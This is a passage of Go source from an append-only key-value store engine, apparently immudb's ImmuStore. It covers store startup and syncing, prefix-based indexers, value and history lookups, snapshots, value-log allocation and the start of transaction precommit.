make(map[[sha256.Size]byte]*indexer),\n\t\tmemSemaphore:               semaphore.New(uint64(opts.IndexOpts.MaxGlobalBufferedDataSize)),\n\t\tuseExternalCommitAllowance: opts.UseExternalCommitAllowance,\n\t\tcommitAllowedUpToTxID:      committedTxID,\n\n\t\taht: aht,\n\n\t\tinmemPrecommitWHub:   watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead)\n\t\tdurablePrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+opts.MaxWaitees),\n\t\tcommitWHub:           watchers.New(0, 1+opts.MaxActiveTransactions+opts.MaxWaitees), // including indexer\n\n\t\ttxPool: txPool,\n\t\t_txbs:  txbs,\n\n\t\topts: opts,\n\n\t\tcompactionDisabled: opts.CompactionDisabled,\n\t}\n\n\tif store.aht.Size() > precommittedTxID {\n\t\terr = store.aht.ResetSize(precommittedTxID)\n\t\tif err != nil {\n\t\t\tstore.Close()\n\t\t\treturn nil, fmt.Errorf(\"corrupted commit-log: can not truncate aht tree: %w\", err)\n\t\t}\n\t}\n\n\tif store.aht.Size() == precommittedTxID {\n\t\tstore.logger.Infof(\"binary-linking up to date at '%s'\", store.path)\n\t} else {\n\t\terr = store.syncBinaryLinking()\n\t\tif err != nil {\n\t\t\tstore.Close()\n\t\t\treturn nil, fmt.Errorf(\"binary-linking syncing failed: %w\", err)\n\t\t}\n\t}\n\n\terr = store.inmemPrecommitWHub.DoneUpto(precommittedTxID)\n\tif err != nil {\n\t\tstore.Close()\n\t\treturn nil, err\n\t}\n\n\terr = store.durablePrecommitWHub.DoneUpto(precommittedTxID)\n\tif err != nil {\n\t\tstore.Close()\n\t\treturn nil, err\n\t}\n\n\terr = store.commitWHub.DoneUpto(committedTxID)\n\tif err != nil {\n\t\tstore.Close()\n\t\treturn nil, err\n\t}\n\n\tif !store.multiIndexing {\n\t\terr := store.InitIndexing(&IndexSpec{})\n\t\tif err != nil {\n\t\t\tstore.Close()\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif store.synced {\n\t\tgo store.syncer()\n\t}\n\n\treturn store, nil\n}\n\nfunc (s *ImmuStore) syncer() {\n\tfor {\n\t\tcommittedTxID := s.LastCommittedTxID()\n\n\t\t// passive wait for one new transaction at least\n\t\terr := s.inmemPrecommitWHub.WaitFor(context.Background(), committedTxID+1)\n\t\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\t\treturn\n\t\t}\n\n\t\t// TODO: waiting on earlier stages of transaction processing may also be possible\n\t\tprevLatestPrecommitedTx := committedTxID + 1\n\n\t\t// TODO: parametrize concurrency evaluation\n\t\tfor i := 0; i < 4; i++ {\n\t\t\t// give some time for more transactions to be precommitted\n\t\t\ttime.Sleep(s.syncFrequency / 4)\n\n\t\t\tlatestPrecommitedTx := s.LastPrecommittedTxID()\n\n\t\t\tif prevLatestPrecommitedTx == latestPrecommitedTx {\n\t\t\t\t// avoid waiting if there are no new transactions\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tprevLatestPrecommitedTx = latestPrecommitedTx\n\t\t}\n\n\t\t// ensure durability\n\t\terr = s.sync()\n\t\tif errors.Is(err, ErrAlreadyClosed) ||\n\t\t\terrors.Is(err, multiapp.ErrAlreadyClosed) ||\n\t\t\terrors.Is(err, singleapp.ErrAlreadyClosed) ||\n\t\t\terrors.Is(err, watchers.ErrAlreadyClosed) {\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\ts.notify(Error, true, \"%s: while syncing transactions\", err)\n\t\t}\n\t}\n}\n\ntype NotificationType = int\n\nconst NotificationWindow = 60 * time.Second\nconst (\n\tInfo NotificationType = iota\n\tWarn\n\tError\n)\n\nfunc (s *ImmuStore) notify(nType NotificationType, mandatory bool, formattedMessage string, args ...interface{}) {\n\ts.notifyMutex.Lock()\n\tdefer s.notifyMutex.Unlock()\n\n\tif mandatory || time.Since(s.lastNotification) > NotificationWindow {\n\t\tswitch nType {\n\t\tcase Info:\n\t\t\t{\n\t\t\t\ts.logger.Infof(formattedMessage, args...)\n\t\t\t}\n\t\tcase Warn:\n\t\t\t{\n\t\t\t\ts.logger.Warningf(formattedMessage, args...)\n\t\t\t}\n\t\tcase Error:\n\t\t\t{\n\t\t\t\ts.logger.Errorf(formattedMessage, args...)\n\t\t\t}\n\t\t}\n\t\ts.lastNotification = time.Now()\n\t}\n}\n\nfunc hasPrefix(key, prefix []byte) bool {\n\treturn len(key) >= len(prefix) && bytes.Equal(prefix, key[:len(prefix)])\n}\n\nfunc (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) {\n\ts.indexersMux.RLock()\n\tdefer s.indexersMux.RUnlock()\n\n\tfor _, indexer := range s.indexers {\n\t\tif hasPrefix(keyPrefix, indexer.TargetPrefix()) {\n\t\t\treturn indexer, nil\n\t\t}\n\t}\n\treturn nil, ErrIndexNotFound\n}\n\ntype IndexSpec struct {\n\tSourcePrefix      []byte\n\tSourceEntryMapper EntryMapper\n\n\tTargetEntryMapper EntryMapper\n\tTargetPrefix      []byte\n\n\tInjectiveMapping bool\n\n\tInitialTxID uint64\n\tFinalTxID   uint64\n\tInitialTs   int64\n\tFinalTs     int64\n}\n\nfunc (s *ImmuStore) InitIndexing(spec *IndexSpec) error {\n\tif spec == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tif len(spec.TargetPrefix) == 0 && len(spec.SourcePrefix) > 0 {\n\t\treturn fmt.Errorf(\"%w: empty prefix can not have a source prefix\", ErrIllegalArguments)\n\t}\n\n\ts.indexersMux.Lock()\n\tdefer s.indexersMux.Unlock()\n\n\tindexPrefix := sha256.Sum256(spec.TargetPrefix)\n\n\t_, ok := s.indexers[indexPrefix]\n\tif ok {\n\t\treturn ErrIndexAlreadyInitialized\n\t}\n\n\tvar indexPath string\n\n\tif len(spec.TargetPrefix) == 0 {\n\t\tindexPath = filepath.Join(s.path, indexDirname)\n\t} else {\n\t\tencPrefix := hex.EncodeToString(spec.TargetPrefix)\n\t\tindexPath = filepath.Join(s.path, fmt.Sprintf(\"%s_%s\", indexDirname, encPrefix))\n\t}\n\n\tif s.indexCache == nil {\n\t\tc, err := cache.NewCache(s.opts.IndexOpts.CacheSize)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.indexCache = c\n\t}\n\n\tindexer, err := newIndexer(indexPath, s, s.opts)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%w: could not open indexer\", err)\n\t}\n\n\tif indexer.Ts() > s.LastCommittedTxID() {\n\t\treturn fmt.Errorf(\"%w: index size is too large\", ErrCorruptedIndex)\n\n\t\t// TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced\n\t\t// NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved\n\t}\n\n\ts.indexers[indexPrefix] = indexer\n\tindexer.init(spec)\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) CloseIndexing(prefix []byte) error {\n\ts.indexersMux.Lock()\n\tdefer s.indexersMux.Unlock()\n\n\tindexPrefix := sha256.Sum256(prefix)\n\n\tindexer, ok := s.indexers[indexPrefix]\n\tif !ok {\n\t\treturn fmt.Errorf(\"%w: index not found\", ErrIndexNotFound)\n\t}\n\n\terr := indexer.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdelete(s.indexers, indexPrefix)\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) DeleteIndex(prefix []byte) error {\n\ts.indexersMux.Lock()\n\tdefer s.indexersMux.Unlock()\n\n\tindexPrefix := sha256.Sum256(prefix)\n\n\tindexer, ok := s.indexers[indexPrefix]\n\tif !ok {\n\t\treturn fmt.Errorf(\"%w: index not found\", ErrIndexNotFound)\n\t}\n\n\tindexer.Close()\n\n\tdelete(s.indexers, indexPrefix)\n\n\ts.logger.Infof(\"deleting index path: '%s' ...\", indexer.path)\n\n\treturn os.RemoveAll(indexer.path)\n}\n\nfunc (s *ImmuStore) GetBetween(ctx context.Context, key []byte, initialTxID uint64, finalTxID uint64) (valRef ValueRef, err error) {\n\tindexer, err := s.getIndexerFor(key)\n\tif err != nil {\n\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\treturn nil, ErrKeyNotFound\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tindexedVal, tx, hc, err := indexer.GetBetween(key, initialTxID, finalTxID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s.valueRefFrom(tx, hc, indexedVal)\n}\n\nfunc (s *ImmuStore) Get(ctx context.Context, key []byte) (valRef ValueRef, err error) {\n\treturn s.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted)\n}\n\nfunc (s *ImmuStore) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) {\n\tindexer, err := s.getIndexerFor(key)\n\tif err != nil {\n\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\treturn nil, ErrKeyNotFound\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tindexedVal, tx, hc, err := indexer.Get(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalRef, err = s.valueRefFrom(tx, hc, indexedVal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnow := time.Now()\n\n\tfor _, filter := range filters {\n\t\tif filter == nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid filter function\", ErrIllegalArguments)\n\t\t}\n\n\t\terr = filter(valRef, now)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn valRef, nil\n}\n\nfunc (s *ImmuStore) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) {\n\treturn s.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted)\n}\n\nfunc (s *ImmuStore) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) {\n\tindexer, err := s.getIndexerFor(prefix)\n\tif err != nil {\n\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\treturn nil, nil, ErrKeyNotFound\n\t\t}\n\n\t\treturn nil, nil, err\n\t}\n\n\tkey, indexedVal, tx, hc, err := indexer.GetWithPrefix(prefix, neq)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvalRef, err = s.valueRefFrom(tx, hc, indexedVal)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tnow := time.Now()\n\n\tfor _, filter := range filters {\n\t\tif filter == nil {\n\t\t\treturn nil, nil, fmt.Errorf(\"%w: invalid filter function\", ErrIllegalArguments)\n\t\t}\n\n\t\terr = filter(valRef, now)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t}\n\n\treturn key, valRef, nil\n}\n\nfunc (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (valRefs []ValueRef, hCount uint64, err error) {\n\tindexer, err := s.getIndexerFor(key)\n\tif err != nil {\n\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\treturn nil, 0, ErrKeyNotFound\n\t\t}\n\n\t\treturn nil, 0, err\n\t}\n\n\ttimedValues, hCount, err := indexer.History(key, offset, descOrder, limit)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tvalRefs = make([]ValueRef, len(timedValues))\n\n\trev := offset + 1\n\tif descOrder {\n\t\trev = hCount - offset\n\t}\n\n\tfor i, timedValue := range timedValues {\n\t\tval, err := s.valueRefFrom(timedValue.Ts, rev, timedValue.Value)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tvalRefs[i] = val\n\n\t\tif descOrder {\n\t\t\trev--\n\t\t} else {\n\t\t\trev++\n\t\t}\n\t}\n\n\treturn valRefs, hCount, nil\n}\n\nfunc (s *ImmuStore) MultiIndexingEnabled() bool {\n\treturn s.multiIndexing\n}\n\nfunc (s *ImmuStore) UseTimeFunc(timeFunc TimeFunc) error {\n\tif timeFunc == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\ts.timeFunc = timeFunc\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, error) {\n\treturn newTxPool(txPoolOptions{\n\t\tpoolSize:     poolSize,\n\t\tmaxTxEntries: s.maxTxEntries,\n\t\tmaxKeyLen:    s.maxKeyLen,\n\t\tpreallocated: preallocated,\n\t})\n}\n\nfunc (s *ImmuStore) syncSnapshot(prefix []byte) (*Snapshot, error) {\n\tindexer, err := s.getIndexerFor(prefix)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsnap, err := indexer.SyncSnapshot()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Snapshot{\n\t\tst:     s,\n\t\tprefix: prefix,\n\t\tsnap:   snap,\n\t\tts:     time.Now(),\n\t}, nil\n}\n\nfunc (s *ImmuStore) Snapshot(prefix []byte) (*Snapshot, error) {\n\tindexer, err := s.getIndexerFor(prefix)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsnap, err := indexer.Snapshot()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Snapshot{\n\t\tst:     s,\n\t\tprefix: prefix,\n\t\tsnap:   snap,\n\t\tts:     time.Now(),\n\t}, nil\n}\n\n// SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse).\n// Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough.\n// If txID is 0, any snapshot may be used.\nfunc (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, prefix []byte, txID uint64) (*Snapshot, error) {\n\treturn s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, prefix, txID, 0)\n}\n\n// SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse).\n// Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough.\n// If txID is 0, any snapshot not older than renewalPeriod may be used.\n// If renewalPeriod is 0, renewal period is not taken into consideration\nfunc (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, prefix []byte, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) {\n\tindexer, err := s.getIndexerFor(prefix)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = indexer.WaitForIndexingUpto(ctx, txID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsnap, err := indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, txID, renewalPeriod)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Snapshot{\n\t\tst:     s,\n\t\tprefix: indexer.TargetPrefix(),\n\t\tsnap:   snap,\n\t\tts:     time.Now(),\n\t}, nil\n}\n\nfunc (s *ImmuStore) CommittedAlh() (uint64, [sha256.Size]byte) {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\treturn s.committedTxID, s.committedAlh\n}\n\nfunc (s *ImmuStore) PrecommittedAlh() (uint64, [sha256.Size]byte) {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\tdurablePrecommittedTxID, _, _ := s.durablePrecommitWHub.Status()\n\n\tif durablePrecommittedTxID == s.committedTxID {\n\t\treturn s.committedTxID, s.committedAlh\n\t}\n\n\tif durablePrecommittedTxID == s.inmemPrecommittedTxID {\n\t\treturn s.inmemPrecommittedTxID, s.inmemPrecommittedAlh\n\t}\n\n\t// fetch latest precommitted (durable) transaction from s.cLogBuf\n\ttxID, alh, _, _, _ := s.cLogBuf.readAhead(int(durablePrecommittedTxID - s.committedTxID - 1))\n\n\treturn txID, alh\n}\n\nfunc (s *ImmuStore) precommittedAlh() (uint64, [sha256.Size]byte) {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\treturn s.inmemPrecommittedTxID, s.inmemPrecommittedAlh\n}\n\nfunc (s *ImmuStore) syncBinaryLinking() error {\n\ts.logger.Infof(\"syncing binary-linking at '%s'...\", s.path)\n\n\ttx, err := s.fetchAllocTx()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer s.releaseAllocTx(tx)\n\n\ttxReader, err := s.newTxReader(s.aht.Size()+1, false, true, false, tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor {\n\t\ttx, err := txReader.Read()\n\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\talh := tx.header.Alh()\n\t\ts.aht.Append(alh[:])\n\n\t\tif tx.header.ID%1000 == 0 {\n\t\t\ts.logger.Infof(\"binary-linking at '%s' in progress: processing tx: %d\", s.path, tx.header.ID)\n\t\t}\n\t}\n\n\ts.logger.Infof(\"binary-linking up to date at '%s'\", s.path)\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error {\n\ts.waiteesMutex.Lock()\n\n\tif s.waiteesCount == s.maxWaitees {\n\t\ts.waiteesMutex.Unlock()\n\t\treturn watchers.ErrMaxWaitessLimitExceeded\n\t}\n\n\ts.waiteesCount++\n\n\ts.waiteesMutex.Unlock()\n\n\tdefer func() {\n\t\ts.waiteesMutex.Lock()\n\t\ts.waiteesCount--\n\t\ts.waiteesMutex.Unlock()\n\t}()\n\n\tvar err error\n\n\tif allowPrecommitted {\n\t\terr = s.durablePrecommitWHub.WaitFor(ctx, txID)\n\t} else {\n\t\terr = s.commitWHub.WaitFor(ctx, txID)\n\t}\n\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\treturn ErrAlreadyClosed\n\t}\n\treturn err\n}\n\nfunc (s *ImmuStore) WaitForIndexingUpto(ctx context.Context, txID uint64) error {\n\ts.waiteesMutex.Lock()\n\n\tif s.waiteesCount == s.maxWaitees {\n\t\ts.waiteesMutex.Unlock()\n\t\treturn watchers.ErrMaxWaitessLimitExceeded\n\t}\n\n\ts.waiteesCount++\n\n\ts.waiteesMutex.Unlock()\n\n\tdefer func() {\n\t\ts.waiteesMutex.Lock()\n\t\ts.waiteesCount--\n\t\ts.waiteesMutex.Unlock()\n\t}()\n\n\tfor _, indexer := range s.indexers {\n\t\terr := indexer.WaitForIndexingUpto(ctx, txID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) CompactIndexes() error {\n\tif s.compactionDisabled {\n\t\treturn ErrCompactionDisabled\n\t}\n\n\ts.indexersMux.RLock()\n\tdefer s.indexersMux.RUnlock()\n\n\t// TODO: indexes may be concurrently compacted\n\n\tfor _, indexer := range s.indexers {\n\t\terr := indexer.CompactIndex()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) FlushIndexes(cleanupPercentage float32, synced bool) error {\n\ts.indexersMux.RLock()\n\tdefer s.indexersMux.RUnlock()\n\n\t// TODO: indexes may be concurrently flushed\n\n\tfor _, indexer := range s.indexers {\n\t\terr := indexer.FlushIndex(cleanupPercentage, synced)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc maxTxSize(maxTxEntries, maxKeyLen, maxTxMetadataLen, maxKVMetadataLen int) int {\n\treturn txIDSize /*txID*/ +\n\t\ttsSize /*ts*/ +\n\t\ttxIDSize /*blTxID*/ +\n\t\tsha256.Size /*blRoot*/ +\n\t\tsha256.Size /*prevAlh*/ +\n\t\tsszSize /*versioin*/ +\n\t\tsszSize /*txMetadataLen*/ +\n\t\tmaxTxMetadataLen +\n\t\tlszSize /*|entries|*/ +\n\t\tmaxTxEntries*(sszSize /*kvMetadataLen*/ +\n\t\t\tmaxKVMetadataLen+\n\t\t\tsszSize /*kLen*/ +\n\t\t\tmaxKeyLen /*key*/ +\n\t\t\tlszSize /*vLen*/ +\n\t\t\toffsetSize /*vOff*/ +\n\t\t\tsha256.Size /*hValue*/) +\n\t\tsha256.Size /*eH*/ +\n\t\tsha256.Size /*txH*/\n}\n\nfunc (s *ImmuStore) ReadOnly() bool {\n\treturn s.readOnly\n}\n\nfunc (s *ImmuStore) Synced() bool {\n\treturn s.synced\n}\n\nfunc (s *ImmuStore) MaxActiveTransactions() int {\n\treturn s.maxActiveTransactions\n}\n\nfunc (s *ImmuStore) MVCCReadSetLimit() int {\n\treturn s.mvccReadSetLimit\n}\n\nfunc (s *ImmuStore) MaxConcurrency() int {\n\treturn s.maxConcurrency\n}\n\nfunc (s *ImmuStore) MaxIOConcurrency() int {\n\treturn s.maxIOConcurrency\n}\n\nfunc (s *ImmuStore) MaxTxEntries() int {\n\treturn s.maxTxEntries\n}\n\nfunc (s *ImmuStore) MaxKeyLen() int {\n\treturn s.maxKeyLen\n}\n\nfunc (s *ImmuStore) MaxValueLen() int {\n\treturn s.maxValueLen\n}\n\nfunc (s *ImmuStore) Size() (uint64, error) {\n\tvar size uint64\n\n\terr := filepath.WalkDir(s.path, func(path string, d fs.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !d.IsDir() {\n\t\t\tinfo, err := d.Info()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsize += uint64(info.Size())\n\t\t}\n\t\treturn nil\n\t})\n\treturn size, err\n}\n\nfunc (s *ImmuStore) TxCount() uint64 {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\treturn s.committedTxID\n}\n\nfunc (s *ImmuStore) fetchAllocTx() (*Tx, error) {\n\ttx, err := s.txPool.Alloc()\n\tif errors.Is(err, ErrTxPoolExhausted) {\n\t\treturn nil, ErrMaxConcurrencyLimitExceeded\n\t}\n\treturn tx, nil\n}\n\nfunc (s *ImmuStore) releaseAllocTx(tx *Tx) {\n\ts.txPool.Release(tx)\n}\n\nfunc encodeOffset(offset int64, vLogID byte) int64 {\n\treturn int64(vLogID)<<56 | offset\n}\n\nfunc decodeOffset(offset int64) (byte, int64) {\n\treturn byte(offset >> 56), offset & ^(0xff << 55)\n}\n\nfunc (s *ImmuStore) fetchAnyVLog() (vLodID byte, vLog appendable.Appendable) {\n\ts.vLogsCond.L.Lock()\n\tdefer s.vLogsCond.L.Unlock()\n\n\tfor s.vLogUnlockedList.Len() == 0 {\n\t\ts.vLogsCond.Wait()\n\t}\n\n\tvLogID := s.vLogUnlockedList.Remove(s.vLogUnlockedList.Front()).(byte) + 1\n\ts.vLogs[vLogID-1].unlockedRef = nil // locked\n\n\treturn vLogID, s.vLogs[vLogID-1].vLog\n}\n\nfunc (s *ImmuStore) fetchVLog(vLogID byte) (appendable.Appendable, error) {\n\tif s.embeddedValues {\n\t\tif vLogID > 0 {\n\t\t\treturn nil, fmt.Errorf(\"%w: attempt to read from a non-embedded vlog while using embedded values\", ErrUnexpectedError)\n\t\t}\n\n\t\ts.commitStateRWMutex.Lock()\n\t\treturn s.txLog, nil\n\t}\n\n\ts.vLogsCond.L.Lock()\n\tdefer s.vLogsCond.L.Unlock()\n\n\tfor s.vLogs[vLogID-1].unlockedRef == nil {\n\t\ts.vLogsCond.Wait()\n\t}\n\n\ts.vLogUnlockedList.Remove(s.vLogs[vLogID-1].unlockedRef)\n\ts.vLogs[vLogID-1].unlockedRef = nil // locked\n\n\treturn s.vLogs[vLogID-1].vLog, nil\n}\n\nfunc (s *ImmuStore) releaseVLog(vLogID byte) error {\n\tif s.embeddedValues {\n\t\tif vLogID > 0 {\n\t\t\treturn fmt.Errorf(\"%w: attempt to release a non-embedded vlog while using embedded values\", ErrUnexpectedError)\n\t\t}\n\n\t\ts.commitStateRWMutex.Unlock()\n\t\treturn nil\n\t}\n\n\ts.vLogsCond.L.Lock()\n\ts.vLogs[vLogID-1].unlockedRef = s.vLogUnlockedList.PushBack(vLogID - 1) // unlocked\n\ts.vLogsCond.L.Unlock()\n\ts.vLogsCond.Signal()\n\n\treturn nil\n}\n\ntype appendableResult struct {\n\toffsets []int64\n\terr     error\n}\n\nfunc (s *ImmuStore) appendValuesIntoAnyVLog(entries []*EntrySpec) (offsets []int64, err error) {\n\tvLogID, vLog := s.fetchAnyVLog()\n\tdefer s.releaseVLog(vLogID)\n\n\toffsets, err = s.appendValuesInto(entries, vLog)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor i := 0; i < len(offsets); i++ {\n\t\toffsets[i] = encodeOffset(offsets[i], vLogID)\n\t}\n\n\treturn offsets, nil\n}\n\nfunc (s *ImmuStore) appendValuesInto(entries []*EntrySpec, app appendable.Appendable) (offsets []int64, err error) {\n\toffsets = make([]int64, len(entries))\n\n\tfor i := 0; i < len(offsets); i++ {\n\t\tif len(entries[i].Value) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\toffsets[i], _, err = app.Append(entries[i].Value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn offsets, nil\n}\n\nfunc (s *ImmuStore) NewWriteOnlyTx(ctx context.Context) (*OngoingTx, error) {\n\treturn newOngoingTx(ctx, s, &TxOptions{Mode: WriteOnlyTx})\n}\n\nfunc (s *ImmuStore) NewTx(ctx context.Context, opts *TxOptions) (*OngoingTx, error) {\n\treturn newOngoingTx(ctx, s, opts)\n}\n\nfunc (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader *TxHeader, skipIntegrityCheck bool, waitForIndexing bool) (*TxHeader, error) {\n\thdr, err := s.precommit(ctx, otx, expectedHeader, skipIntegrityCheck)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// note: durability is ensured only if the store is in sync mode\n\terr = s.commitWHub.WaitFor(ctx, hdr.ID)\n\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif waitForIndexing {\n\t\terr = s.WaitForIndexingUpto(ctx, hdr.ID)\n\t\t// header is returned because transaction is already committed\n\t\tif err != nil {\n\t\t\treturn hdr, err\n\t\t}\n\t}\n\n\treturn hdr, nil\n}\n\nfunc (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader, skipIntegrityCheck bool) (*TxHeader, error) {\n\tif otx == nil {\n\t\treturn nil, fmt.Errorf(\"%w: no transaction\", ErrIllegalArguments)\n\t}\n\n\terr := otx.validateAgainst(hdr)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: transaction does not validate against header\", err)\n\t}\n\n\t// extra metadata are specified by the client and thus they are only allowed when entries is non empty\n\tif len(otx.entries) == 0 && (otx.metadata.IsEmpty() || otx.metadata.HasExtraOnly()) {\n\t\treturn nil, ErrNoEntriesProvided\n\t}\n\n\terr = s.validateEntries(otx.entries)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = s.validatePreconditions(otx.preconditions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx, err := s.fetchAllocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer s.releaseAllocTx(tx)\n\n\tif hdr == nil {\n\t\ttx.header.Version = s.writeTxHeaderVersion\n\t} else {\n\t\ttx.header.Version = hdr.Version\n\t}\n\n\ttx.header.Metadata = otx.metadata\n\n\ttx.header.NEntries = len(otx.entries)\n\n\tdoneWithValuesCh := make(chan appendableResult)\n\tdefer close(doneWithValuesCh)\n\n\tgo func() {\n\t\t// value write is delayed to ensure values are inmediatelly followed by the associated tx header\n\t\tif s.embeddedValues {\n\t\t\tdoneWithValuesCh <- appendableResult{nil, nil}\n\t\t\treturn\n\t\t}\n\n\t\toffsets, err := s.appendValuesIntoAnyVLog(otx.entries)\n\t\tif err != nil {\n\t\t\tdoneWithValuesCh <- appendableResult{nil, err}\n\t\t\treturn\n\t\t}\n\n\t\tdoneWithValuesCh <- appendableResult{offsets, nil}\n\t}()\n\n\tfor i, e := range otx.entries {\n\t\ttxe := tx.entries[i]\n\t\ttxe.setKey(e.Key)\n\t\ttxe.md = e.Metadata\n\t\ttxe.vLen = len(e.Value)\n\t\tif e.IsValueTruncated {\n\t\t\ttxe.hVal = e.HashValue\n\t\t} else {\n\t\t\ttxe.hVal = sha256.Sum256(e.Value)\n\t\t}\n\t}\n\n\terr = tx.BuildHashTree()\n\tif err != nil {\n\t\t<-doneWithValuesCh // wait for data to be written\n\t\treturn nil, err\n\t}\n\n\tvalueWritingResult := <-doneWithValuesCh // wait for data to be written\n\tif valueWritingResult.err != nil {\n\t\treturn nil, valueWritingResult.err\n\t}\n\n\tif !s.embeddedValues {\n\t\tfor i := 0; i < tx.header.NEntries; i++ {\n\t\t\ttx.entries[i].vOff = valueWritingResult.offsets[i]\n\t\t}\n\t}\n\n\tif hdr != nil {\n\t\t// TODO: Eh validation is disabled as it's not provided\n\t\t// when the tx was exported without integrity checks\n\t\tif !skipIntegrityCheck && tx.header.Eh != hdr.Eh {\n\t\t\treturn nil, fmt.Errorf(\"%w: entries hash (Eh) differs\", ErrIllegalArguments)\n\t\t}\n\n\t\tlastPreCommittedTxID := s.LastPrecommittedTxID()\n\n\t\tif lastPreCommittedTxID >= hdr.ID {\n\t\t\treturn nil, ErrTxAlreadyCommitted\n\t\t}\n\n\t\tif hdr.ID > lastPreCommittedTxID+uint64(s.maxActiveTransactions) {\n\t\t\treturn nil, ErrMaxActiveTransactionsLimitExceeded\n\t\t}\n\n\t\t// ensure tx is committed in the expected order\n\t\terr = s.inmemPrecommitWHub.WaitFor(ctx, 